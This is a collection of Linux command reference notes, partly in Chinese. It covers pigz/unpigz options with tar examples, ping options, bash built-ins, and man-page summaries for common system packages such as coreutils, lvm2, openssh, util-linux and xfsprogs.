unpigz [ -cfhikKlLmMnNqrRtz ] [ -b blocksize ] [ -p threads ] [ -S suffix ] [ name ...  ]
```

</div>

!! 参数

:<div>


```bash
-0 to -9, -11        Compression level (level 11, zopfli, is much slower)
--fast, --best       Compression levels 1 and 9 respectively
-b, --blocksize mmm  Set compression block size to mmmK (default 128K)
-c, --stdout         Write all processed output to stdout (won't delete)
-d, --decompress     Decompress the compressed input
-f, --force          Force overwrite, compress .gz, links, and to terminal
-F  --first          Do iterations first, before block split for -11
-h, --help           Display a help screen and quit
-i, --independent    Compress blocks independently for damage recovery
-I, --iterations n   Number of iterations for -11 optimization
-J, --maxsplits n    Maximum number of split blocks for -11
-k, --keep           Do not delete original file after processing
-K, --zip            Compress to PKWare zip (.zip) single entry format
-l, --list           List the contents of the compressed input
-L, --license        Display the pigz license and quit
-m, --no-time        Do not store or restore mod time
-M, --time           Store or restore mod time
-n, --no-name        Do not store or restore file name or mod time
-N, --name           Store or restore file name and mod time
-O  --oneblock       Do not split into smaller blocks for -11
-p, --processes n    Allow up to n compression threads (default is the number of online processors, or 8 if unknown)
-q, --quiet          Print no messages, even on error
-r, --recursive      Process the contents of all subdirectories
-R, --rsyncable      Input-determined block locations for rsync
-S, --suffix .sss    Use suffix .sss instead of .gz (for compression)
-t, --test           Test the integrity of the compressed input
-v, --verbose        Provide more verbose output
-V  --version        Show the version of pigz
-Y  --synchronous    Force output file write to permanent storage
-z, --zlib           Compress to zlib (.zz) instead of gzip format
--                   All arguments after "--" are treated as files
```

</div>

!! 实例

:<div>


可以结合`tar`使用, 压缩命令

```bash
tar -cvf - dir1 dir2 dir3 | pigz -p 8 > output.tgz
```

解压命令

```bash
pigz -p 8 -d output.tgz
```

如果是gzip格式,也支持用tar解压

```bash
tar -xzvf output.tgz
```
</div>
''ping''命令用来测试主机之间网络的连通性。执行ping指令会使用ICMP传输协议,发出要求回应的信息,若远端主机的网络功能没有问题,就会回应该信息,因而得知该主机运作正常。

!选项

```
    -d:使用Socket的SO_DEBUG功能;
    -c<完成次数>:设置完成要求回应的次数;
    -f:极限检测;
    -i<间隔秒数>:指定收发信息的间隔时间;
    -I<网络界面>:使用指定的网络界面送出数据包;
    -l<前置载入>:设置在送出要求信息之前,先行发出的数据包;
    -n:只输出数值;
    -p<范本样式>:设置填满数据包的范本样式;
    -q:不显示指令执行过程,开头和结尾的相关信息除外;
    -r:忽略普通的Routing Table,直接将数据包送到远端主机上;
    -R:记录路由过程;
    -s<数据包大小>:设置数据包的大小;
    -t<存活数值>:设置存活数值TTL的大小;
    -v:详细显示指令的执行过程。
```
* 安装指定版本的 Python 包`==`<pre>

```bash
pip install robotframework==2.8.7
```
</pre>
* /usr/bin/[[at]]
* /usr/bin/[[atq]]
* /usr/bin/[[atrm]]
* /usr/bin/[[batch]]
* /usr/sbin/[[atd]]
* /usr/sbin/[[atrun]]
bash,  [[:]], ., [, alias, bg, bind, break, builtin, caller, cd, command, compgen, complete, compopt, continue, declare, dirs, disown, [[echo]], [[enable]], eval, exec, exit, export, [[false]], fc, fg, getopts, hash, help, history, jobs, kill, let, local, logout, mapfile,
       popd, printf, pushd, pwd, read, readonly, return, set, shift, shopt, source, suspend, test, times, trap, [[true]], type, typeset, ulimit, umask, unalias, unset, wait



* 
:<div>


|!命令|!desc|
|[[.]]|执行当前进程环境中的程序。同source。|
|[[. file]]|dot命令从文件file中读取命令并执行。|
|[[:]]|空操作,返回退出状态0。|
|[[alias]]|显示和创建已有命令的别名。|
|[[bg]]|把作业放到后台。|
|[[bind]]|显示当前关键字与函数的绑定情况,或将关键字与readline函数或宏进行绑定。|
|[[break]]|从最内层循环跳出。|
|[[builtin [sh-builtin [args]]]]|运行一个内置Shell命令,并传送参数,返回退出状态0。当一个函数与一个内置命令同名时,该命令将很有用。|
|[[cd [arg]]]|改变目录,如果不带参数,则回到主目录,带参数则切换到参数所指的目录。|
|[[command comand [arg]]]|即使有同名函数,仍然执行该命令。也就是说,跳过函数查找。|
|[[declare [var]]]|显示所有变量,或用可选属性声明变量。|
|[[dirs]]|显示当前记录的目录(pushd的结果)。|
|[[disown]]|从作业表中删除一个活动作业。|
|[[echo [args]]]|显示args并换行。|
|[[enable]]|启用或禁用Shell内置的命令。|
|[[eval [args]]]|把args读入Shell,并执行产生的命令。|
|[[exec command]]|运行命令,替换掉当前Shell。|
|[[exit [n]]]|以状态n退出Shell。|
|[[export [var]]]|使变量可被子Shell识别。|
|[[fc]]|历史的修改命令,用于编辑历史命令。|
|[[fg]]|把后台作业放到前台。|
|[[getopts]]|解析并处理命令行选项。|
|[[hash]]|控制用于加速命令查找的内部哈希表。|
|[[help [command]]]|显示关于内置命令的有用信息。如果指定了一个命令,则将显示该命令的详细信息。|
|[[history]]|显示带行号的命令历史列表。|
|[[jobs]]|显示放到后台的作业。|
|[[kill [-signal process]]]|向由PID号或作业号指定的进程发送信号。输入kill-l查看信号列表。|
|[[let]]|用来计算算术表达式的值,并把算术运算的结果赋给变量。|
|[[local]]|用在函数中,把变量的作用域限制在函数内部。|
|[[logout]]|退出登录Shell。|
|[[popd]]|从目录栈中删除项。|
|[[pushd]]|向目录栈中增加项。|
|[[pwd]]|打印出当前的工作目录。|
|[[read [var]]]|从标准输入读取一行,保存到变量var中。|
|[[readonly [var]]]|将变量var设为只读,不允许重置该变量。|
|[[return [n]]]|从函数中退出,n是指定给return命令的退出状态值。|
|[[set]]|设置选项和位置参量。|
|[[shift [n]]]|将位置参量左移n次。|
|[[stop pid]]|暂停第pid号进程的运行。|
|[[suspend]]|终止当前Shell的运行(对登录Shell无效)。|
|[[test]]|检查文件类型,并计算条件表达式。|
|[[times]]|显示由当前Shell启动的进程运行所累计用户时间和系统时间。|
|[[trap [arg] [n]]]|当Shell收到信号n(n为0、1、2或15)时,执行arg。|
|[[type [command]]]|显示命令的类型|
|[[typeset]]|同declare。设置变量并赋予其属性。|
|[[ulimit]]|显示或设置进程可用资源的最大限额。|
|[[umask 八进制数字]]|用户文件关于属主、属组和其他用户的创建模式掩码。|
|[[unalias]]|取消所有的命令别名设置。|
|[[unset name]]|取消指定变量的值或函数的定义。|
|[[wait pid#n]]|等待pid号为n的后台进程结束,并报告它的结束状态。|

</div>
* bin<pre>
* [[[]] (1)                - bash built-in commands, see bash(1)
* [[arch]] (1)             - print machine hardware name (same as uname -m)
* [[base64]] (1)           - base64 encode/decode data and print to standard output
* [[basename]] (1)         - strip directory and suffix from filenames
* [[cat]] (1)              - concatenate files and print on the standard output
* [[chcon]] (1)            - change file SELinux security context
* [[chgrp]] (1)            - change group ownership
* [[chmod]] (1)            - change file mode bits
* [[chown]] (1)            - change file owner and group
* [[cksum]] (1)            - checksum and count the bytes in a file
* [[comm]] (1)             - compare two sorted files line by line
* [[cp]] (1)               - copy files and directories
* [[csplit]] (1)           - split a file into sections determined by context lines
* [[cut]] (1)              - remove sections from each line of files
* [[date]] (1)             - print or set the system date and time
* [[dd]] (1)               - convert and copy a file
* [[df]] (1)               - report file system disk space usage
* [[dir]] (1)              - list directory contents
* [[dircolors]] (1)        - color setup for ls
* [[dirname]] (1)          - strip last component from file name
* [[du]] (1)               - estimate file space usage
* [[echo]] (1)             - display a line of text
* [[env]] (1)              - run a program in a modified environment
* [[expand]] (1)           - convert tabs to spaces
* [[expr]] (1)             - evaluate expressions
* [[factor]] (1)           - factor numbers
* [[false]] (1)            - do nothing, unsuccessfully
* [[fmt]] (1)              - simple optimal text formatter
* [[fold]] (1)             - wrap each input line to fit in specified width
* [[groups]] (1)           - print the groups a user is in
* [[head]] (1)             - output the first part of files
* [[hostid]] (1)           - print the numeric identifier for the current host
* [[id]] (1)               - print real and effective user and group IDs
* [[install]] (1)          - copy files and set attributes
* [[join]] (1)             - join lines of two files on a common field
* [[link]] (1)             - call the link function to create a link to a file
* [[ln]] (1)               - make links between files
* [[logname]] (1)          - print user's login name
* [[ls]] (1)               - list directory contents
* [[md5sum]] (1)           - compute and check MD5 message digest
* [[mkdir]] (1)            - make directories
* [[mkfifo]] (1)           - make FIFOs (named pipes)
* [[mknod]] (1)            - make block or character special files
* [[mktemp]] (1)           - create a temporary file or directory
* [[mv]] (1)               - move (rename) files
* [[nice]] (1)             - run a program with modified scheduling priority
* [[nl]] (1)               - number lines of files
* [[nohup]] (1)            - run a command immune to hangups, with output to a non-tty
* [[nproc]] (1)            - print the number of processing units available
* [[numfmt]] (1)           - Convert numbers from/to human-readable strings
* [[od]] (1)               - dump files in octal and other formats
* [[paste]] (1)            - merge lines of files
* [[pathchk]] (1)          - check whether file names are valid or portable
* [[pinky]] (1)            - lightweight finger
* [[pr]] (1)               - convert text files for printing
* [[printenv]] (1)         - print all or part of environment
* [[printf]] (1)           - format and print data
* [[ptx]] (1)              - produce a permuted index of file contents
* [[pwd]] (1)              - print name of current/working directory
* [[readlink]] (1)         - print resolved symbolic links or canonical file names
* [[realpath]] (1)         - print the resolved path
* [[rm]] (1)               - remove files or directories
* [[rmdir]] (1)            - remove empty directories
* [[runcon]] (1)           - run command with specified SELinux security context
* [[seq]] (1)              - print a sequence of numbers
* [[sha1sum]] (1)          - compute and check SHA1 message digest
* [[sha224sum]] (1)        - compute and check SHA224 message digest
* [[sha256sum]] (1)        - compute and check SHA256 message digest
* [[sha384sum]] (1)        - compute and check SHA384 message digest
* [[sha512sum]] (1)        - compute and check SHA512 message digest
* [[shred]] (1)            - overwrite a file to hide its contents, and optionally ...
* [[shuf]] (1)             - generate random permutations
* [[sleep]] (1)            - delay for a specified amount of time
* [[sort]] (1)             - sort lines of text files
* [[sort]] (3pm)           - perl pragma to control sort() behaviour
* [[split]] (1)            - split a file into pieces
* [[stat]] (1)             - display file or file system status
* [[stdbuf]] (1)           - Run COMMAND, with modified buffering operations for it...
* [[stty]] (1)             - change and print terminal line settings
* [[sum]] (1)              - checksum and count the blocks in a file
* [[sync]] (1)             - flush file system buffers
* [[tac]] (1)              - concatenate and print files in reverse
* [[tail]] (1)             - output the last part of files
* [[tee]] (1)              - read from standard input and write to standard output ...
* [[test]] (1)             - check file types and compare values
* Test ([[3pm]])           - provides a simple framework for writing test scripts
* [[timeout]] (1)          - run a command with a time limit
* [[touch]] (1)            - change file timestamps
* [[tr]] (1)               - translate or delete characters
* [[true]] (1)             - do nothing, successfully
* [[truncate]] (1)         - shrink or extend the size of a file to the specified size
* [[tsort]] (1)            - perform topological sort
* [[tty]] (1)              - print the file name of the terminal connected to stand...
* [[uname]] (1)            - print system information
* [[unexpand]] (1)         - convert spaces to tabs
* [[uniq]] (1)             - report or omit repeated lines
* [[unlink]] (1)           - call the unlink function to remove the specified file
* [[users]] (1)            - print the user names of users currently logged in to t...
* [[vdir]] (1)             - list directory contents
* [[wc]] (1)               - print newline, word, and byte counts for each file
* [[who]] (1)              - show who is logged on
* [[whoami]] (1)           - print effective userid
* [[yes]] (1)              - output a string repeatedly until killed
* [[chroot]] (1)           - run command or interactive shell with special root dir...

</pre>
<pre>
* [[chattr]] (1)           - change file attributes on a Linux file system
* [[lsattr]] (1)           - list file attributes on a Linux second extended file s...
* [[badblocks]] (8)        - search a device for bad blocks
* [[debugfs]] (8)          - ext2/ext3/ext4 file system debugger
* [[dumpe2fs]] (8)         - dump ext2/ext3/ext4 filesystem information
* [[e2freefrag]] (8)       - report free space fragmentation information
* [[e2fsck]] (8)           - check a Linux ext2/ext3/ext4 file system
* [[e2image]] (8)          - Save critical ext2/ext3/ext4 filesystem metadata to a ...
* [[e2label]] (8)          - Change the label on an ext2/ext3/ext4 filesystem
* [[e2undo]] (8)           - Replay an undo log for an ext2/ext3/ext4 filesystem
* [[e4defrag]] (8)         - online defragmenter for ext4 filesystem
* [[filefrag]] (8)         - report on file fragmentation
* [[fsck.ext2]] (8)        - check a Linux ext2/ext3/ext4 file system
* [[fsck.ext3]] (8)        - check a Linux ext2/ext3/ext4 file system
* [[fsck.ext4]] (8)        - check a Linux ext2/ext3/ext4 file system
* [[logsave]] (8)          - save the output of a command in a logfile
* [[mke2fs]] (8)           - create an ext2/ext3/ext4 filesystem
* [[mkfs.ext2]] (8)        - create an ext2/ext3/ext4 filesystem
* [[mkfs.ext3]] (8)        - create an ext2/ext3/ext4 filesystem
* [[mkfs.ext4]] (8)        - create an ext2/ext3/ext4 filesystem
* [[mklost]]+found (8)     - create a lost+found directory on a mounted Linux secon...
* [[resize2fs]] (8)        - ext2/ext3/ext4 file system resizer
* [[tune2fs]] (8)          - adjust tunable filesystem parameters on ext2/ext3/ext4...
</pre>
<pre>

```bash
* [[arpd]] (8)             - userspace arp daemon.
* [[bridge]] (8)           - show / manipulate bridge addresses and devices
* [[cbq]] (8)              - Class Based Queueing
* [[ctstat]] (8)           - unified linux network statistics
* [[devlink]] (8)          - Devlink tool
* [[genl]] (8)             - generic netlink utility frontend
* [[ifcfg]] (8)            - simplistic script which replaces ifconfig IP management
* [[ifstat]] (8)           - handy utility to read network interface statistics
* [[ip]] (8)               - show / manipulate routing, devices, policy routing and...
* [[lnstat]] (8)           - unified linux network statistics
* [[nstat]] (8)            - network statistics tools.
* [[routef]] (8)           - flush routes
* [[routel]] (8)           - list routes with pretty output format
* [[rtacct]] (8)           - network statistics tools.
* [[rtmon]] (8)            - listens to and monitors RTnetlink
* [[rtpr]] (8)             - replace backslashes with newlines.
* [[rtstat]] (8)           - unified linux network statistics
* [[ss]] (8)               - another utility to investigate sockets
* [[tc]] (8)               - show / manipulate traffic control settings

```
</pre>
!iputils-20160308-10.el7.x86_64

```
* [[ping]] (8)             - send ICMP ECHO_REQUEST to network hosts
* [[ping6]] (8)            - send ICMP ECHO_REQUEST to network hosts
* [[tracepath]] (8)        - traces path to a network host discovering MTU along th...
* [[tracepath6]] (8)       - traces path to a network host discovering MTU along th...
* [[arping]] (8)           - send ARP REQUEST to a neighbour host
* [[clockdiff]] (8)        - measure clock difference between hosts
* [[ifenslave]] (8)        - Attach and detach slave network devices to a bonding d...
* [[rdisc]] (8)            - network router discovery daemon

```
<pre>

kmod-20-21.el7.x86_64
/usr/sbin/weak-modules: nothing appropriate.
/usr/share/man/man5/modules.dep.bin.5.gz: nothing appropriate.
* [[kmod]] (8)             - Program to manage Linux Kernel modules
* [[depmod]] (8)           - Generate modules.dep and map files.
* [[insmod]] (8)           - Simple program to insert a module into the Linux Kernel
* [[lsmod]] (8)            - Show the status of modules in the Linux Kernel
* [[modinfo]] (8)          - Show information about a Linux Kernel module
* [[modprobe]] (8)         - Add and remove modules from the Linux Kernel
* [[rmmod]] (8)            - Simple program to remove a module from the Linux Kernel
</pre>
!lvm2-2.02.177-4.el7.x86_64

|[[fsadm]] (8)           |utility to resize or check filesystem on a device|
|[[lvchange]] (8)        |Change the attributes of logical volume(s)|
|[[lvconvert]] (8)       |Change logical volume layout|
|[[lvcreate]] (8)        |Create a logical volume|
|[[lvdisplay]] (8)       |Display information about a logical volume|
|[[lvextend]] (8)        |Add space to a logical volume|
|[[lvm]] (8)             |LVM2 tools|
|[[lvmconf]] (8)         |LVM configuration modifier|
|[[lvmconfig]] (8)       |Display and manipulate configuration information|
|[[lvmdiskscan]] (8)     |List devices that may be used as physical volumes|
|[[lvmdump]] (8)         |create lvm2 information dumps for diagnostic purposes|
|[[lvmetad]] (8)         |LVM metadata cache daemon|
|[[lvmpolld]] (8)        |LVM poll daemon|
|[[lvmsadc]] (8)         |LVM system activity data collector|
|[[lvmsar]] (8)          |LVM system activity reporter|
|[[lvreduce]] (8)        |Reduce the size of a logical volume|
|[[lvremove]] (8)        |Remove logical volume(s) from the system|
|[[lvrename]] (8)        |Rename a logical volume|
|[[lvresize]] (8)        |Resize a logical volume|
|[[lvs]] (8)             |Display information about logical volumes|
|[[lvscan]] (8)          |List all logical volumes in all volume groups|
|[[pvchange]] (8)        |Change attributes of physical volume(s)|
|[[pvck]] (8)            |Check the consistency of physical volume(s)|
|[[pvcreate]] (8)        |Initialize physical volume(s) for use by LVM|
|[[pvdisplay]] (8)       |Display various attributes of physical volume(s)|
|[[pvmove]] (8)          |Move extents from one physical volume to another|
|[[pvremove]] (8)        |Remove LVM label(s) from physical volume(s)|
|[[pvresize]] (8)        |Resize physical volume(s)|
|[[pvs]] (8)             |Display information about physical volumes|
|[[pvscan]] (8)          |List all physical volumes|
|[[vgcfgbackup]] (8)     |Backup volume group configuration(s)|
|[[vgcfgrestore]] (8)    |Restore volume group configuration|
|[[vgchange]] (8)        |Change volume group attributes|
|[[vgck]] (8)            |Check the consistency of volume group(s)|
|[[vgconvert]] (8)       |Change volume group metadata format|
|[[vgcreate]] (8)        |Create a volume group|
|[[vgdisplay]] (8)       |Display volume group information|
|[[vgexport]] (8)        |Unregister volume group(s) from the system|
|[[vgextend]] (8)        |Add physical volumes to a volume group|
|[[vgimport]] (8)        |Register exported volume group with system|
|[[vgimportclone]] (8)   |Import a VG from cloned PVs|
|[[vgmerge]] (8)         |Merge volume groups|
|[[vgmknodes]] (8)       |Create the special files for volume group devices in /dev|
|[[vgreduce]] (8)        |Remove physical volume(s) from a volume group|
|[[vgremove]] (8)        |Remove volume group(s)|
|[[vgrename]] (8)        |Rename a volume group|
|[[vgs]] (8)             |Display information about volume groups|
|[[vgscan]] (8)          |Search for all volume groups|
|[[vgsplit]] (8)         |Move physical volumes into a new or existing volume group|
<pre>
* [[apropos]] (1)          - search the manual page names and descriptions
* [[catman]] (8)           - create or update the pre-formatted manual pages
* [[lexgrog]] (1)          - parse header information in man pages
* [[man]] (1)              - an interface to the on-line reference manuals
* [[mandb]] (8)            - create or update the manual page index caches
* [[manpath]] (1)          - determine search path for manual pages
* [[manpath]] (5)          - format of the /etc/man_db.conf file
* [[whatis]] (1)           - display manual page descriptions
* [[accessdb]] (8)         - dumps the content of a man-db database in a human read...
</pre>
* /bin/[[netstat]]
* /sbin/[[arp]]
* /sbin/[[ether-wake]]
* /sbin/[[ifconfig]]
* /sbin/[[ipmaddr]]
* /sbin/[[iptunnel]]
* /sbin/[[mii-diag]]
* /sbin/[[mii-tool]]
* /sbin/[[nameif]]
* /sbin/[[plipconfig]]
* /sbin/[[route]]
* /sbin/[[slattach]]
* /etc/ssh
* /etc/ssh/moduli
* /usr/bin/[[ssh-keygen]]
* /usr/libexec/openssh
* /usr/libexec/openssh/ctr-cavstest
* /usr/libexec/openssh/ssh-keysign
* /usr/share/doc/openssh-7.4p1
* /usr/share/doc/openssh-7.4p1/CREDITS
* /usr/share/doc/openssh-7.4p1/ChangeLog
* /usr/share/doc/openssh-7.4p1/INSTALL
* /usr/share/doc/openssh-7.4p1/OVERVIEW
* /usr/share/doc/openssh-7.4p1/PROTOCOL
* /usr/share/doc/openssh-7.4p1/PROTOCOL.agent
* /usr/share/doc/openssh-7.4p1/PROTOCOL.certkeys
* /usr/share/doc/openssh-7.4p1/PROTOCOL.chacha20poly1305
* /usr/share/doc/openssh-7.4p1/PROTOCOL.key
* /usr/share/doc/openssh-7.4p1/PROTOCOL.krl
* /usr/share/doc/openssh-7.4p1/PROTOCOL.mux
* /usr/share/doc/openssh-7.4p1/README
* /usr/share/doc/openssh-7.4p1/README.dns
* /usr/share/doc/openssh-7.4p1/README.platform
* /usr/share/doc/openssh-7.4p1/README.privsep
* /usr/share/doc/openssh-7.4p1/README.tun
* /usr/share/doc/openssh-7.4p1/TODO
* /usr/share/licenses/openssh-7.4p1
* /usr/share/licenses/openssh-7.4p1/LICENCE
* /usr/share/man/man1/ssh-keygen.1.gz
* /usr/share/man/man8/ssh-keysign.8.gz
* /usr/bin/[[scp]]
* /usr/bin/[[sftp]]
* /usr/bin/[[slogin]]
* /usr/bin/[[ssh]]
* /usr/bin/[[ssh-add]]
* /usr/bin/[[ssh-agent]]
* /usr/bin/[[ssh-copy-id]]
* /usr/bin/[[ssh-keyscan]]
<div>
<pre>



* [[free]] (1)             - Display amount of free and used memory in the system
* [[pgrep]] (1)            - look up or signal processes based on name and other at...
* [[pkill]] (1)            - look up or signal processes based on name and other at...
* [[pmap]] (1)             - report memory map of a process
* [[ps]] (1)               - report a snapshot of the current processes.
* [[pwdx]] (1)             - report current working directory of a process
* [[skill]] (1)            - send a signal or report process status
* [[slabtop]] (1)          - display kernel slab cache information in real time
* [[snice]] (1)            - send a signal or report process status
* [[tload]] (1)            - graphic representation of system load average
* [[top]] (1)              - display Linux processes
* [[uptime]] (1)           - Tell how long the system has been running.
* [[vmstat]] (8)           - Report virtual memory statistics
* [[w]] (1)                - Show who is logged on and what they are doing.
* [[watch]] (1)            - execute a program periodically, showing output fullscreen
* [[sysctl]] (8)           - configure kernel parameters at runtime

</pre>

</div>
|[[killall]] (1)         |kill processes by name|
|[[peekfd]] (1)           - |peek at file descriptors of running processes|
|[[prtstat]] (1)          - |print statistics of a process|
|[[pstree]] (1)           - |display a tree of processes|
|[[fuser]] (1)            - |identify processes using files or sockets|
* /bin/[[redhat_lsb_init]]
* /usr/bin/[[lsb_release]]
* /usr/sbin/[[redhat_lsb_trigger.x86_64]]
* cmd<pre>

* [[cifsiostat]] (1)       - Report CIFS statistics.
* [[iostat]] (1)           - Report Central Processing Unit (CPU) statistics and in...
* [[mpstat]] (1)           - Report processors related statistics.
* [[nfsiostat-sysstat]] (1) - (unknown subject)
* [[pidstat]] (1)          - Report statistics for Linux tasks.
* [[sadf]] (1)             - Display data collected by sar in multiple formats.
* [[sar]] (1)              - Collect, report, or save system activity information.
* [[tapestat]] (1)         - Report tape statistics.
</pre>
* /usr/bin/[[bootctl]]
* /usr/bin/[[busctl]]
* /usr/bin/[[coredumpctl]]
* /usr/bin/[[hostnamectl]]
* /usr/bin/[[journalctl]]
* /usr/bin/[[kernel-install]]
* /usr/bin/[[localectl]]
* /usr/bin/[[loginctl]]
* /usr/bin/[[machinectl]]
* /usr/bin/[[systemctl]]
* /usr/bin/[[systemd-analyze]]
* /usr/bin/[[systemd-ask-password]]
* /usr/bin/[[systemd-cat]]
* /usr/bin/[[systemd-cgls]]
* /usr/bin/[[systemd-cgtop]]
* /usr/bin/[[systemd-coredumpctl]]
* /usr/bin/[[systemd-delta]]
* /usr/bin/[[systemd-detect-virt]]
* /usr/bin/[[systemd-escape]]
* /usr/bin/[[systemd-firstboot]]
* /usr/bin/[[systemd-hwdb]]
* /usr/bin/[[systemd-inhibit]]
* /usr/bin/[[systemd-loginctl]]
* /usr/bin/[[systemd-machine-id-setup]]
* /usr/bin/[[systemd-notify]]
* /usr/bin/[[systemd-nspawn]]
* /usr/bin/[[systemd-path]]
* /usr/bin/[[systemd-run]]
* /usr/bin/[[systemd-stdio-bridge]]
* /usr/bin/[[systemd-tmpfiles]]
* /usr/bin/[[systemd-tty-ask-password-agent]]
* /usr/bin/[[timedatectl]]
* /usr/bin/[[udevadm]]
* /usr/sbin/[[halt]]
* /usr/sbin/[[init]]
* /usr/sbin/[[poweroff]]
* /usr/sbin/[[reboot]]
* /usr/sbin/[[runlevel]]
* /usr/sbin/[[shutdown]]
* /usr/sbin/[[telinit]]
* /usr/sbin/[[udevadm]]
!traceroute-2.0.22-2.el7.x86_64

```
* [[tcptraceroute]] (8)    - print the route packets trace to network host
* [[traceroute]] (8)       - print the route packets trace to network host
* [[traceroute6]] (8)      - print the route packets trace to network host
```
|!命令                    |!desc|
|[[cal]] (1)             |display a calendar |
|[[chfn]] (1)            |change your finger information |
|[[chmem]] (8)           |configure memory |
|[[chrt]] (1)            |manipulate the real-time attributes of a process |
|[[chsh]] (1)            |change your login shell |
|[[col]] (1)             |filter reverse line feeds from input |
|[[colcrt]] (1)          |filter nroff output for CRT previewing |
|[[colrm]] (1)           |remove columns from a file |
|[[column]] (1)          |columnate lists |
|[[dmesg]] (1)           |print or control the kernel ring buffer |
|[[eject]] (1)           |eject removable media |
|[[fallocate]] (1)       |preallocate or deallocate space to a file |
|[[findmnt]] (8)         |find a filesystem |
|[[flock]] (1)           |manage locks from shell scripts |
|[[getopt]] (1)          |parse command options (enhanced) |
|Getopt::Std ([[3pm]])   |Process single-character switches with switch clustering |
|[[hexdump]] (1)         |display file contents in ascii, decimal, hexadecimal, ... |
|[[i386]] (8)            |change reported architecture in new program environmen... |
|[[ionice]] (1)          |set or get process I/O scheduling class and priority |
|[[ipcmk]] (1)           |create various ipc resources |
|[[ipcrm]] (1)           |remove a message queue, semaphore set or shared memory id |
|[[ipcs]] (1)            |provide information on IPC facilities |
|[[isosize]] (8)         |output the length of an iso9660 filesystem |
|[[kill]] (1)            |terminate a process |
|[[linux32]] (8)         |change reported architecture in new program environmen... |
|[[linux64]] (8)         |change reported architecture in new program environmen... |
|[[logger]] (1)          |a shell command interface to the syslog(3) system log ... |
|[[login]] (1)           |begin session on the system |
|[[look]] (1)            |display lines beginning with a given string |
|[[lsblk]] (8)           |list block devices |
|[[lscpu]] (1)           |display information about the CPU architecture |
|[[lsipc]] (1)           |show information on IPC facilities currently employed ... |
|[[lslocks]] (8)         |list local system locks |
|[[lslogins]] (1)        |display information about known users in the system |
|[[lsmem]] (1)           |list the ranges of available memory with their online ... |
|[[lsns]] (8)            |list namespaces |
|[[mcookie]] (1)         |generate magic cookies for xauth |
|[[more]] (1)            |file perusal filter for crt viewing |
|[[mount]] (8)           |mount a filesystem |
|[[mountpoint]] (1)      |see if a directory is a mountpoint |
|[[namei]] (1)           |follow a pathname until a terminal point is found |
|[[nsenter]] (1)         |run program with namespaces of other processes |
|[[prlimit]] (1)         |get and set a process resource limits. |
|[[raw]] (8)             |bind a Linux raw character device |
|[[rename]] (1)          |rename files |
|[[renice]] (1)          |alter priority of running processes |
|[[rev]] (1)             |reverse lines of a file or files |
|[[script]] (1)          |make typescript of terminal session |
|[[scriptreplay]] (1)    |play back typescripts, using timing information |
|[[setarch]] (8)         |change reported architecture in new program environmen... |
|[[setpriv]] (1)         |run a program with different Linux privilege settings |
|[[setsid]] (1)          |run a program in a new session |
|[[setterm]] (1)         |set terminal attributes |
|[[su]] (1)              |run a command with substitute user and group ID |
|[[tailf]] (1)           |follow the growth of a log file |
|[[taskset]] (1)         |retrieve or set a process's CPU affinity |
|[[ul]] (1)              |do underlining |
|[[umount]] (8)          |unmount file systems |
|[[unshare]] (1)         |run program with some namespaces unshared from parent |
|[[utmpdump]] (1)        |dump UTMP and WTMP files in raw format |
|[[uuidgen]] (1)         |create a new UUID value |
|[[wdctl]] (8)           |show hardware watchdog status |
|[[whereis]] (1)         |locate the binary, source, and manual page files for a... |
|[[write]] (1)           |send a message to another user |
|[[x86_64]] (8)          |change reported architecture in new program environmen... |
|[[addpart]] (8)         |simple wrapper around the "add partition" ioctl |
|[[agetty]] (8)          |alternative Linux getty |
|[[blkdiscard]] (8)      |discard sectors on a device |
|[[blkid]] (8)           |locate/print block device attributes |
|[[blockdev]] (8)        |call block device ioctls from the command line |
|[[cfdisk]] (8)          |display or manipulate disk partition table |
|[[chcpu]] (8)           |configure CPUs |
|[[clock]] (8)           |query or set the hardware clock (RTC) |
|[[ctrlaltdel]] (8)      |set the function of the Ctrl-Alt-Del combination |
|[[delpart]] (8)         |simple wrapper around the "del partition" ioctl |
|[[fdformat]] (8)        |low-level format a floppy disk |
|[[fdisk]] (8)           |manipulate disk partition table |
|[[findfs]] (8)          |find a filesystem by label or UUID |
|[[fsck]] (8)            |check and repair a Linux filesystem |
|[[fsck.cramfs]] (8)     |fsck compressed ROM file system |
|[[fsck.minix]] (8)      |check consistency of Minix filesystem |
|[[fsfreeze]] (8)        |suspend access to a filesystem (Linux Ext3/4, ReiserFS... |
|[[fstrim]] (8)          |discard unused blocks on a mounted filesystem |
|[[hwclock]] (8)         |query or set the hardware clock (RTC) |
|[[ldattach]] (8)        |attach a line discipline to a serial line |
|[[losetup]] (8)         |set up and control loop devices |
|[[mkfs]] (8)            |build a Linux filesystem |
|[[mkfs.cramfs]] (8)     |make compressed ROM file system |
|[[mkfs.minix]] (8)      |make a Minix filesystem |
|[[mkswap]] (8)          |set up a Linux swap area |
|[[nologin]] (8)         |politely refuse a login |
|[[partx]] (8)           |tell the Linux kernel about the presence and numbering... |
|[[pivot_root]] (8)      |change the root filesystem |
|[[readprofile]] (8)     |read kernel profiling information |
|[[resizepart]] (8)      |simple wrapper around the "resize partition" ioctl |
|[[rtcwake]] (8)         |enter a system sleep state until specified wakeup time |
|[[runuser]] (1)         |run a command with substitute user and group ID |
|[[sfdisk]] (8)          |partition table manipulator for Linux |
|[[sulogin]] (8)         |Single-user login |
|[[swaplabel]] (8)       |print or change the label or UUID of a swap area |
|[[swapoff]] (8)         |enable/disable devices and files for paging and swapping |
|[[swapon]] (8)          |enable/disable devices and files for paging and swapping |
|[[switch_root]] (8)     |switch to another filesystem as the root of the mount ... |
|[[wipefs]] (8)          |wipe a signature from a device |
|[[zramctl]] (8)         |set up and control zram devices |
 |
<pre>

* [[fsck.xfs]] (8)         - do nothing, successfully
* [[mkfs.xfs]] (8)         - construct an XFS filesystem
* [[xfs_admin]] (8)        - change parameters of an XFS filesystem
* [[xfs_bmap]] (8)         - print block mapping for an XFS file
* [[xfs_copy]] (8)         - copy the contents of an XFS filesystem
* [[xfs_db]] (8)           - debug an XFS filesystem
* [[xfs_estimate]] (8)     - estimate the space that an XFS filesystem will take
* [[xfs_freeze]] (8)       - suspend access to an XFS filesystem
* [[xfs_fsr]] (8)          - filesystem reorganizer for XFS
* [[xfs_growfs]] (8)       - expand an XFS filesystem
* [[xfs_info]] (8)         - expand an XFS filesystem
* [[xfs_io]] (8)           - debug the I/O path of an XFS filesystem
* [[xfs_logprint]] (8)     - print the log of an XFS filesystem
* [[xfs_mdrestore]] (8)    - restores an XFS metadump image to a filesystem image
* [[xfs_metadump]] (8)     - copy XFS filesystem metadata to a file
* [[xfs_mkfile]] (8)       - create an XFS file
* [[xfs_ncheck]] (8)       - generate pathnames from i-numbers for XFS
